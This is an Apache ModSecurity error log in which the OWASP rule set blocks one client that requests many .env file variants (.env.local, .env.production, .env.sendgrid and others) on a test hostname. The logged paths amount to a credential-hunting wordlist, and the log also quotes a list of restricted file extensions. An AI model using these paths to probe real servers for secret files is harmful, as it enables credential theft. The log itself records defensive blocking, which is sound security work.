[Sun Jun 29 20:13:16.742044 2025] [:error] [pid 3059540] [client 185.177.72.107:15396] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aGGCPHN4YZunzJSJCzJ6NwAAAAY&quot;]
[Sun Jun 29 20:13:30.058834 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UvwAAAAs&quot;]
[Sun Jun 29 20:13:30.059090 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UvwAAAAs&quot;]
[Sun Jun 29 20:13:30.059252 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UvwAAAAs&quot;]
[Sun Jun 29 20:13:30.081214 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwAAAAAs&quot;]
[Sun Jun 29 20:13:30.081448 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwAAAAAs&quot;]
[Sun Jun 29 20:13:30.081613 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwAAAAAs&quot;]
[Sun Jun 29 20:13:30.103672 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwQAAAAs&quot;]
[Sun Jun 29 20:13:30.103927 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwQAAAAs&quot;]
[Sun Jun 29 20:13:30.104104 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwQAAAAs&quot;]
[Sun Jun 29 20:13:30.125908 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwgAAAAs&quot;]
[Sun Jun 29 20:13:30.126067 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwgAAAAs&quot;]
[Sun Jun 29 20:13:30.126317 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwgAAAAs&quot;]
[Sun Jun 29 20:13:30.126537 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwgAAAAs&quot;]
[Sun Jun 29 20:13:30.148589 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwwAAAAs&quot;]
[Sun Jun 29 20:13:30.148845 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwwAAAAs&quot;]
[Sun Jun 29 20:13:30.149033 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UwwAAAAs&quot;]
[Sun Jun 29 20:13:30.171075 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxAAAAAs&quot;]
[Sun Jun 29 20:13:30.171361 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxAAAAAs&quot;]
[Sun Jun 29 20:13:30.171564 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxAAAAAs&quot;]
[Sun Jun 29 20:13:30.193517 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxQAAAAs&quot;]
[Sun Jun 29 20:13:30.193770 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxQAAAAs&quot;]
[Sun Jun 29 20:13:30.193947 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxQAAAAs&quot;]
[Sun Jun 29 20:13:30.241832 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxgAAAAs&quot;]
[Sun Jun 29 20:13:30.242073 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxgAAAAs&quot;]
[Sun Jun 29 20:13:30.242272 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxgAAAAs&quot;]
[Sun Jun 29 20:13:30.280206 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxwAAAAs&quot;]
[Sun Jun 29 20:13:30.280446 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxwAAAAs&quot;]
[Sun Jun 29 20:13:30.280629 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UxwAAAAs&quot;]
[Sun Jun 29 20:13:30.303260 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UyAAAAAs&quot;]
[Sun Jun 29 20:13:30.303498 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UyAAAAAs&quot;]
[Sun Jun 29 20:13:30.303675 2025] [:error] [pid 3205369] [client 185.177.72.107:22298] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;aGGCSt8ZUWE-JFfvKe2UyAAAAAs&quot;]
